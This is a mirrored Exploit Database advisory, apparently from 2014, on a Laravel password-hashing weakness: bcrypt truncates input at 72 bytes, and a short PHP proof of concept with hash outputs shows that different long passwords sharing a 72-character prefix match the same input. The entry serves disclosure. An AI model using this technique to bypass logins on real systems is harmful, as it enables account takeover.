Laravel – ‘Hash::make()’ Password Truncation Security

• Exploit Database
• 116 阅读

• 作者： Pichaya Morimoto
  日期： 2014-09-16
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/39318/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40

  source: https://www.securityfocus.com/bid/69849/info   Laravel is prone to a security weakness due to pseudo password hash collision.   Attackers can exploit this issue to bypass intended security restrictions. This may aid in further attacks.   // user input password $input = str_repeat('A',72); // plaintext password $pass1 = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.'mysupersecretpassword'; $pass2 = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.'longcatishere'; // hashed password $hash1 = Hash::make($pass1); $hash2 = Hash::make($pass2); // match? $status1 = Hash::check($input, $hash1)?'Yes':'No'; $status2 = Hash::check($input, $hash2)?'Yes':'No';   User 1 Desc. Value $input AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $pass1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmysupersecretpassword Hash::make($pass1) $2y$10$9oMcpTwHgTzR5ZUMqlnMMOx/P18QZ5e9054lq.pwxw1O9urX3JHHu Hash::check($input, $hash1) Yes   User 2 Desc. Value $input AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $pass2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlongcatishere Hash::make($pass2) $2y$10$W7wwB4nLmFjrenJGmx1uauqhjzikZNZA0qzxH8wkbiSmVatCYrAUm Hash::check($input, $hash2) Yes